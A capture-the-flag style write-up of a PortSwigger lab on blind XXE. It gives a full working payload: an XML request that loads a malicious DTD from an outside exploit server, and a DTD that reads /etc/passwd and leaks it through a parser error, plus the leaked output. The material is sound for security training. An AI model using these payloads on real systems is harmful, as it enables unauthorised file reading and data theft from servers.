Exploiting blind XXE to retrieve data via error messages
Exploiting blind XXE to retrieve data via error messages: Lab: XXE with External DTD and Error-Based Exfiltration • PortSwigger • XXE • conditional, xxe
Lab: XXE with External DTD and Error-Based Exfiltration
This lab has a "Check stock" feature that parses XML input but does not display the result.
To solve the lab, use an external DTD to trigger an error message that displays the contents of the /etc/passwd file.
Key Info
- The lab contains a link to an exploit server on a different domain where you can host your malicious DTD.
- With SSRF using external entities we can use almost any URI scheme (http, ftp, php filters, base64, etc.), but here exfiltration is restricted, so error-based techniques are needed.
Exploitation Approach
Option 1: Error Messages
If the application returns XML parser errors, we can leak file contents by triggering parsing failures.
Initial Payload in Burp:
POST /product/stock HTTP/1.1
Host: victim.site
Content-Type: application/xml
<!DOCTYPE foo [<!ENTITY % local SYSTEM "http://exploit-server/exploit"> %local;]>
<stockCheck><productId>11</productId></stockCheck>External DTD (on Exploit Server)
Instead of directly exfiltrating, we force an error condition to include file contents in the error message.
/exploit
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///doesnotexist/%file;'>">
%eval;
%error;Evidence of Exploit
- Burp shows XML parser errors including file contents.
- Exploit server access logs confirm DTD was fetched and entities evaluated.
Response Example:
HTTP/1.1 400 Bad Request
...
XML parser exited with error: java.io.FileNotFoundException: /doesnotexist/
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
carlos:x:12002:12002::/home/carlos:/bin/bash➡ Successfully leaked /etc/passwd.
Steps Summary
- Create a malicious DTD on exploit server that redefines entities.
- Reference it from the vulnerable stock check XML.
- Force the parser to evaluate a non-existent resource and leak file contents via error message.
- Extract
/etc/passwdand confirm success.
✅ Lab Solved using external DTD + error-based exfiltration.